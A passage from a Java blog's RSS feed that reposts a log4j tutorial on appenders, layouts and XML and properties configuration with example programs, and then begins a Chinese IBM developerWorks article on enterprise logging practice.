<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>FileAppender</SPAN> appends log events to a file. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>RollingFileAppender</SPAN> extends FileAppender to backup the log files when they reach a certain size. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>WriterAppender</SPAN> appends log events to a Writer or an OutputStream depending on the user's choice. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>SMTPAppender</SPAN> sends an e-mail when a specific logging event occurs, typically on errors or fatal errors. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>SocketAppender</SPAN> sends LoggingEvent objects to a remote a log server, usually a SocketNode. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>SocketHubAppender</SPAN> sends LoggingEvent objects to a set of remote log servers, usually a SocketNodes </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>SyslogAppender</SPAN>sends messages to a remote syslog daemon. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>TelnetAppender</SPAN> is a log4j appender that specializes in writing to a read-only socket. </P></LI></OL></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">One may also implement the <SPAN class=emphasis><EM>Appender</EM></SPAN> interface to create ones own ways of outputting log statements. </P>
<DIV class=sect3 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H4 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Appender-ConsoleAppender xmlns="http://www.w3.org/1999/xhtml">3.2.1.&nbsp;Using A ConsoleAppender</H4></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">A ConsoleAppender can be created like this:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>ConsoleAppender appender = new ConsoleAppender(new PatternLayout());</PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">Which creates a console appender, with a default PatternLayout. The default output of <SPAN class=strong>System.out</SPAN> is used. </P></DIV>
<DIV class=sect3 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H4 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Appender-FileAppender xmlns="http://www.w3.org/1999/xhtml">3.2.2.&nbsp;Using A FileAppender</H4></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">A FileAppender can be created like this:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>          FileAppender appender = null;
          try {
             appender = new FileAppender(new PatternLayout(),"filename");
          } catch(Exception e) {}
        </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">The constructor in use above is:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>FileAppender(Layout layout, String filename) 
          Instantiate a FileAppender and open the file designated by filename.
        </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">Another useful constructor is:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>FileAppender(Layout layout, String filename, boolean append) 
          Instantiate a FileAppender and open the file designated by filename. 
        </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">So that one may choose whether or not to append the file specified or not. If this is not specified, the default is to append. </P></DIV>
<DIV class=sect3 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H4 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Appender-WriterAppender xmlns="http://www.w3.org/1999/xhtml">3.2.3.&nbsp;Using A WriterAppender</H4></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">A WriterAppender can be created like this:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>          WriterAppender appender = null;
          try {
            appender = new WriterAppender(new PatternLayout(),new FileOutputStream("filename"));
          } catch(Exception e) {}
        </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">This WriterAppender uses the constructor that takes a PatternLayout and an OutputStream as arguments, in this case a FileOutputStream is used to output to a file, there are other constructors available. </P></DIV></DIV>
<DIV class=sect2 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H3 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Layout xmlns="http://www.w3.org/1999/xhtml">3.3.&nbsp;Layout</H3></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">The Appender must have have an associated <SPAN class=strong>Layout</SPAN> so it knows how to format the output. There are three types of Layout available: </P>
<DIV class=orderedlist xmlns="http://www.w3.org/1999/xhtml">
<OL type=1>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>HTMLLayout</SPAN> formats the output as a HTML table. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>PatternLayout</SPAN> formats the output based on a <SPAN class=emphasis><EM>conversion pattern</EM></SPAN> specified, or if none is specified, the default conversion pattern. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>SimpleLayout</SPAN> formats the output in a very simple manner, it prints the <SPAN class=strong>Level</SPAN>, then a dash '-' and then the log message. </P></LI></OL></DIV></DIV>
<DIV class=sect2 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H3 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Basics-Example xmlns="http://www.w3.org/1999/xhtml">3.4.&nbsp;Basic Examples Illustrating this</H3></DIV></DIV>
<DIV class=sect3 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H4 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Basics-Example-SimpAndFile xmlns="http://www.w3.org/1999/xhtml">3.4.1.&nbsp;SimpleLayout and FileAppender</H4></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">Here is a very simplistic example of a program implementing a SimpleLayout and FileAppender:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>import org.apache.log4j.Level;
import org.apache.log4j.Logger;
import org.apache.log4j.SimpleLayout;
import org.apache.log4j.FileAppender;
public class simpandfile {
   static Logger logger = Logger.getLogger(simpandfile.class);
   public static void main(String args[]) {
      SimpleLayout layout = new SimpleLayout();

      FileAppender appender = null;
      try {
         appender = new FileAppender(layout,"output1.txt",false);
      } catch(Exception e) {}

      logger.addAppender(appender);
      logger.setLevel((Level) Level.DEBUG);

      logger.debug("Here is some DEBUG");
      logger.info("Here is some INFO");
      logger.warn("Here is some WARN");
      logger.error("Here is some ERROR");
      logger.fatal("Here is some FATAL");
   }
}
        </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">You can download it: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/simpandfile.java" target=_top>simpandfile.java</A>. And checkout the output produced: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/output1.txt" target=_top>output1.txt</A>. </P></DIV>
<DIV class=sect3 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H4 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Basics-Example-HTMLandFile xmlns="http://www.w3.org/1999/xhtml">3.4.2.&nbsp;HTMLLayout and WriterAppender</H4></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">Here is a very simplistic example of a program implementing a HTMLLayout and WriterAppender:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>import java.io.*;
import org.apache.log4j.Level;
import org.apache.log4j.Logger;
import org.apache.log4j.HTMLLayout;
import org.apache.log4j.WriterAppender;
public class htmlandwrite {
   static Logger logger = Logger.getLogger(htmlandwrite.class);
   public static void main(String args[]) {
      HTMLLayout layout = new HTMLLayout();

      WriterAppender appender = null;
      try {
         FileOutputStream output = new FileOutputStream("output2.html");
         appender = new WriterAppender(layout,output);
      } catch(Exception e) {}

      logger.addAppender(appender);
      logger.setLevel((Level) Level.DEBUG);

      logger.debug("Here is some DEBUG");
      logger.info("Here is some INFO");
      logger.warn("Here is some WARN");
      logger.error("Here is some ERROR");
      logger.fatal("Here is some FATAL");
   }
}
        </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">You can download it: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/htmlandwrite.java" target=_top>htmlandwrite.java</A>. And checkout the output produced: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/output2.html" target=_top>output2.html</A>. </P></DIV>
<DIV class=sect3 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H4 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Basics-Example-consandpatt xmlns="http://www.w3.org/1999/xhtml">3.4.3.&nbsp;PatternLayout and ConsoleAppender</H4></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">Here is a very simplistic example of a program implementing a PatternLayout and ConsoleAppender:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>import org.apache.log4j.Level;
import org.apache.log4j.Logger;
import org.apache.log4j.PatternLayout;
import org.apache.log4j.ConsoleAppender;
public class consandpatt {
   static Logger logger = Logger.getLogger(consandpatt.class);
   public static void main(String args[]) {

      // Note, %n is newline
      String pattern =  "Milliseconds since program start: %r %n";
             pattern += "Classname of caller: %C %n";
             pattern += "Date in ISO8601 format: %d{ISO8601} %n";
             pattern += "Location of log event: %l %n";
             pattern += "Message: %m %n %n"; 
      
      PatternLayout layout = new PatternLayout(pattern);
      ConsoleAppender appender = new ConsoleAppender(layout);

      logger.addAppender(appender);
      logger.setLevel((Level) Level.DEBUG);

      logger.debug("Here is some DEBUG");
      logger.info("Here is some INFO");
      logger.warn("Here is some WARN");
      logger.error("Here is some ERROR");
      logger.fatal("Here is some FATAL");
   }
}
        </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">You can download it: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/consandpatt.java" target=_top>consandpatt.java</A>. And checkout the output produced: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/output2.txt" target=_top>output2.txt</A>. </P></DIV></DIV></DIV>
<DIV class=sect1 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H2 class=title style="CLEAR: both" xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-External-Config-File xmlns="http://www.w3.org/1999/xhtml">4.&nbsp;Using External Configuration Files</H2></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">Log4j is usually used in conjunction with external configuration files so that options do not have to be hard-coded within the software. The advantage of using an external configuration file is that changes can be made to the options without having to recompile the software. A disadvantage could be, that due to the <SPAN class=emphasis><EM>io</EM></SPAN> instructions used, it is slightly slower. </P>
<P xmlns="http://www.w3.org/1999/xhtml">There are two ways in which one can specify the external configuration file: a plain text file or an XML file. Since everything is written in XML these days, this tutorial will focus on the XML approach but will also include relevant plain text examples. To begin with, examine the sample XML config file shown below: </P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
&lt;!DOCTYPE log4j:configuration SYSTEM "log4j.dtd"&gt;

&lt;log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/"&gt;
        
  &lt;appender name="ConsoleAppender" class="org.apache.log4j.ConsoleAppender"&gt;
    &lt;layout class="org.apache.log4j.SimpleLayout"/&gt;
  &lt;/appender&gt;

  &lt;root&gt;
    &lt;priority value ="debug" /&gt;
    &lt;appender-ref ref="ConsoleAppender"/&gt;
  &lt;/root&gt;

&lt;/log4j:configuration&gt; 
    </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">The file starts with a standard XML declaration followed by a DOCTYPE declaration which indicates the DTD(Document Type Definition), this defines the structure of the XML file, what elements may be nested within other elements etc. This file is provided in the log4j distribution under <TT>src/java/org/apache/log4j/xml</TT>. Next comes the all-encapsulating <SPAN class=strong>log4j:configuration</SPAN> element, which was specified as the root element in the DOCTYPE declaration. Nested within the root element are two structures: </P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>  &lt;appender name="ConsoleAppender" class="org.apache.log4j.ConsoleAppender"&gt;
    &lt;layout class="org.apache.log4j.SimpleLayout"/&gt;
  &lt;/appender&gt;      
    </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">Here an <SPAN class=emphasis><EM>Appender</EM></SPAN> is created and called "ConsoleAppender", note that any name could have been chosen, it is because of the contrivity of examples that this name was chosen. The class for the appender is then specified in full, when referring to classes, one always uses the fully qualified class name. An <SPAN class=emphasis><EM>Appender</EM></SPAN> must always have a <SPAN class=emphasis><EM>name</EM></SPAN> and a <SPAN class=emphasis><EM>class</EM></SPAN> specified. Nested within <SPAN class=emphasis><EM>Appender</EM></SPAN> is the <SPAN class=emphasis><EM>layout</EM></SPAN> element which defines the layout to be a SimpleLayout. <SPAN class=emphasis><EM>Layout</EM></SPAN> must always have the <SPAN class=emphasis><EM>class</EM></SPAN> attribute. </P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>  &lt;root&gt;
    &lt;priority value ="debug" /&gt;
    &lt;appender-ref ref="ConsoleAppender"/&gt;
  &lt;/root&gt;      
    </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">The root element always exists and cannot be sub-classed. The example shows the priority being set to "debug" and the appender setup by including an <SPAN class=emphasis><EM>appender-ref</EM></SPAN> element, of which, more that one may be specified. See the file <TT>src/java/org/apache/log4j/xml/log4j.dtd</TT> in your log4j distribution for more information about the structure of an XML configuration file. The configuration file is pulled into the Java program like this: </P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>DOMConfigurator.configure("configurationfile.xml");
    </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">The <SPAN class=emphasis><EM>DOMConfigurator</EM></SPAN> is used to initialise the log4j environment using a DOM tree. Here is the example xml configuration file: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/plainlog4jconfig.xml" target=_top>plainlog4jconfig.xml</A>. Here is a program which implements this configuration file: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/externalxmltest.java" target=_top>files/externalxmltest.java</A>: </P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>import org.apache.log4j.Logger;
import org.apache.log4j.xml.DOMConfigurator;
public class externalxmltest {
   static Logger logger = Logger.getLogger(externalxmltest.class);
   public static void main(String args[]) {
      DOMConfigurator.configure("xmllog4jconfig.xml");
      logger.debug("Here is some DEBUG");
      logger.info("Here is some INFO");
      logger.warn("Here is some WARN");
      logger.error("Here is some ERROR");
      logger.fatal("Here is some FATAL");
   }
}
    </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">Here is an XML configuration file for a Logger implementing a <SPAN class=emphasis><EM>FileAppender</EM></SPAN> using a <SPAN class=emphasis><EM>PatternLayout</EM></SPAN>:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
&lt;!DOCTYPE log4j:configuration SYSTEM "log4j.dtd"&gt;

&lt;log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/"&gt;
        
  &lt;appender name="appender" class="org.apache.log4j.FileAppender"&gt;
    &lt;param name="File" value="Indentify-Log.txt"/&gt;
    &lt;param name="Append" value="false"/&gt;
    &lt;layout class="org.apache.log4j.PatternLayout"&gt;
      &lt;param name="ConversionPattern" value="%d [%t] %p - %m%n"/&gt;
    &lt;/layout&gt;
  &lt;/appender&gt;

  &lt;root&gt;
    &lt;priority value ="debug"/&gt;
    &lt;appender-ref ref="appender"/&gt;
  &lt;/root&gt;

&lt;/log4j:configuration&gt;
    </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">You can download this example from here: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/xmllog4jconfig2.xml" target=_top>xmllog4jconfig2.xml</A>. For more examples of using xml files to configure a log4j environment, see the <TT>src/java/org/apache/log4j/xml/examples/</TT> directory in the log4j distribution. </P>
<P xmlns="http://www.w3.org/1999/xhtml">Here is the configuration file discussed above, expressed in the form of a plain text file:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting># initialise root logger with level DEBUG and call it BLAH
log4j.rootLogger=DEBUG, BLAH
# add a ConsoleAppender to the logger BLAH
log4j.appender.BLAH=org.apache.log4j.ConsoleAppender
# set set that layout to be SimpleLayout
log4j.appender.BLAH.layout=org.apache.log4j.SimpleLayout
    </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">You can download it here: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/plainlog4jconfig.txt" target=_top>plainlog4jconfig.txt</A>. Here is a program implementing this: </P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>import org.apache.log4j.Logger;
import org.apache.log4j.PropertyConfigurator;
public class externalplaintest {
   static Logger logger = Logger.getLogger(externalplaintest.class);
   public static void main(String args[]) {
      PropertyConfigurator.configure("plainlog4jconfig.xml");
      logger.debug("Here is some DEBUG");
      logger.info("Here is some INFO");
      logger.warn("Here is some WARN");
      logger.error("Here is some ERROR");
      logger.fatal("Here is some FATAL");
   }
}
    </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">You can download an example program that uses this configuration file here: <TT>files/externalplaintest.java</TT>. For more examples of using plain text files to configure a log4j environment, see the <TT>examples</TT> directory in the log4j distribution. </P>
<P xmlns="http://www.w3.org/1999/xhtml">The use of external example files has only been briefly discussed here, it is assumed that you have the capacity to learn more by yourself by studying the examples provided with the log4j distribution and experimenting. </P></DIV>
<DIV class=sect1 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H2 class=title style="CLEAR: both" xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-References xmlns="http://www.w3.org/1999/xhtml">5.&nbsp;References (And links you may find useful)</H2></DIV></DIV>
<DIV class=itemizedlist xmlns="http://www.w3.org/1999/xhtml">
<UL type=disc>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><A href="http://jakarta.apache.org/log4j/docs/manual.html" target=_top>http://jakarta.apache.org/log4j/docs/manual.html</A></P>
<P xmlns="http://www.w3.org/1999/xhtml">Short introduction to log4j - Ceki Gülcü - March 2002</P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><A href="http://www.vipan.com/htdocs/log4jhelp.html" target=_top>http://www.vipan.com/htdocs/log4jhelp.html</A></P>
<P xmlns="http://www.w3.org/1999/xhtml">Don't Use System.out.println! Use Log4j - Vipan Singla </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><A href="http://www.opensymphony.com/guidelines/logging.jsp" target=_top>http://www.opensymphony.com/guidelines/logging.jsp</A></P>
<P xmlns="http://www.w3.org/1999/xhtml">LOG4J / OpenSymphony Logging Primer</P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><A href="http://builder.com.com/article.jhtml?id=u00820020124kev01.htm" target=_top>http://builder.com.com/article.jhtml?id=u00820020124kev01.htm</A></P>
<P xmlns="http://www.w3.org/1999/xhtml">Add logging to your Java Applications - Kevin Brown</P></LI></UL></DIV></DIV></DIV><img src ="http://www.blogjava.net/kapok/aggbug/12274.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-07 00:03 <a href="http://www.blogjava.net/kapok/archive/2005/09/07/12274.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>有效地记录日志可以简化企业的开发过程 </title><link>http://www.blogjava.net/kapok/archive/2005/09/06/12271.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Tue, 06 Sep 2005 15:32:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/06/12271.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/12271.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/06/12271.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/12271.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/12271.html</trackback:ping><description><![CDATA[<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR vAlign=top>
<TD width="100%">
<H1>有效地记录日志可以简化企业的开发过程</H1>
<P id=subtitle><A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/">http://www-128.ibm.com/developerworks/cn/java/j-logging/</A><BR>提前规划一个记录日志的计划，在开发过程后期就可以获益</P><IMG class=display-img height=6 alt="" src="http://www.ibm.com/i/c.gif" width=1></TD>
<TD class=no-print width=192><IMG height=18 alt=developerWorks src="http://www-128.ibm.com/developerworks/i/dw.gif" width=192></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR vAlign=top>
<TD width=10><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=10></TD>
<TD width="100%">
<TABLE class=no-print cellSpacing=0 cellPadding=0 width=160 align=right border=0>
<TBODY>
<TR>
<TD width=10><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=10></TD>
<TD>
<TABLE cellSpacing=0 cellPadding=0 width=150 border=0>
<TBODY>
<TR>
<TD class=v14-header-1-small>文档选项</TD></TR></TBODY></TABLE>
<TABLE class=v14-gray-table-border cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD class=no-padding width=150>
<TABLE cellSpacing=0 cellPadding=0 width=143 border=0><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=8> 
<FORM name=email action=https://www-130.ibm.com/developerworks/secure/email-it.jsp><INPUT type=hidden value="在企业级的开发过程中，我们不可避免地会碰到很多问题；如果您希望在开发过程的后期能够有效地捕捉 bug，那就需要一种有效的日志策略。但是在一个企业的应用程序中要想实现有效地记录日志，需要进行一番规划，并设计一些准则。在本文中，顾问 Charles Chan 将向您介绍一些最好的实践，从而帮助您从项目一开始就编写有用的日志代码。" name=body><INPUT type=hidden value=有效地记录日志可以简化企业的开发过程 name=subject><INPUT type=hidden value=cn name=lang>
<SCRIPT language=JavaScript type=text/javascript>
<!--
document.write('<tr valign="top"><td width="8"><img src="//www.ibm.com/i/c.gif" width="8" height="1" alt=""/></td><td width="16"><img src="//www.ibm.com/i/v14/icons/em.gif" height="16" width="16" vspace="3" alt="将此页作为电子邮件发送" /></td><td width="122"><p><a class="smallplainlink" href="javascript:document.email.submit();"><b>将此页作为电子邮件发送</b></a></p></td></tr>');
//-->
</SCRIPT>
 
<TBODY>
<TR vAlign=top>
<TD width=8><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=8></TD>
<TD width=16><IMG height=16 alt=将此页作为电子邮件发送 src="http://www.ibm.com/i/v14/icons/em.gif" width=16 vspace=3></TD>
<TD width=122>
<P><A class=smallplainlink href="javascript:document.email.submit();"><B><FONT color=#5c81a7 size=2>将此页作为电子邮件发送</FONT></B></A></P></TD></TR><NOSCRIPT>
<TR vAlign=top>
<TD width=8><IMG height=1 alt="" src="//www.ibm.com/i/c.gif" width=8></TD>
<TD width=16><IMG height=16 alt="" src="//www.ibm.com/i/c.gif" width=16></TD>
<TD class=small width=122>
<P><SPAN class=ast>未显示需要 JavaScript 的文档选项</SPAN></P></TD></TR></NOSCRIPT></FORM></TBODY></TABLE></TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=0 cellPadding=0 width=150 border=0>
<TBODY>
<TR>
<TD class=v14-header-1-small>对此页的评价</TD></TR></TBODY></TABLE>
<TABLE class=v14-gray-table-border cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD class=no-padding width=150>
<TABLE cellSpacing=0 cellPadding=0 width=143 border=0>
<TBODY>
<TR vAlign=top>
<TD width=8><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=8></TD>
<TD><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/d_bold.gif" width=16 vspace=3 border=0></TD>
<TD width=125>
<P><A class=smallplainlink href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#rate"><B><FONT color=#996699 size=2>帮助我们改进这些内容</FONT></B></A></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR></TD></TR></TBODY></TABLE>
<P>级别: 中级</P>
<P><A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#author"><FONT color=#996699>Charles Chan </FONT></A>, 首席顾问, Ambrose Software Inc.<BR></P>
<P>2005 年 9 月 05 日</P>
<BLOCKQUOTE>在企业级的开发过程中，我们不可避免地会碰到很多问题；如果您希望在开发过程的后期能够有效地捕捉 bug，那就需要一种有效的日志策略。但是在一个企业的应用程序中要想实现有效地记录日志，需要进行一番规划，并设计一些准则。在本文中，顾问 Charles Chan 将向您介绍一些最好的实践，从而帮助您从项目一开始就编写有用的日志代码。</BLOCKQUOTE>
<P>如果您是一名开发人员，那您很可能就已经具有这种经验：您已经开发了一些代码以及一些测试用例。应用程序经过了严格的 QA 测试，您确信代码可以完全适合业务的需求。然而，在将应用程序最终交付终端用户的手里时，却会出现一些预想不到的问题。如果没有适当的日志消息，可能需要花费几天的时间来诊断这些问题。不幸的是，大部分项目对于日志都没有一个清晰的策略。如果没有这种策略，系统产生的日志消息就有可能无益于问题的分析和解决。在本文中，我们将讨论企业应用程序日志的各个方面的问题。您将看到一个 Java™ 平台上日志 API 的概述，学习一些最好的编写日志代码的实践，并了解如果需要在产品环境中对详细日志重新进行排序，应该如何处理。</P>
<P><A name=1><SPAN class=atitle><FONT face=Arial size=4>选择日志 API </FONT></SPAN></A></P>
<P>在使用 Java 平台进行开发时，可以使用两个主要的日志 API：Apache Log4J 和 Java Logging API，在 1.4 及更高版本的 Java 平台中都提供了这两个 API。与 Java Logging API 相比，Log4J 更加成熟，特性也更加丰富。这两个日志的实现都采用了一个类似的设计模式（如图 1 所示）。除非您的公司限制要使用第三方的库，否则我强烈建议使用 Log4J。如果您不能决定使用哪个 API，就可以使用 Apache Commons Logging API，它对底层的日志实现进行了封装。从理论上来说，这样不用修改代码就可以进行日志实现的切换。然而，实际上您很少会切换日志的实现；因此，我不建议使用 Apache Commons Logging API，因为它的复杂性并不没有给您带来其他特性。</P><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></TD>
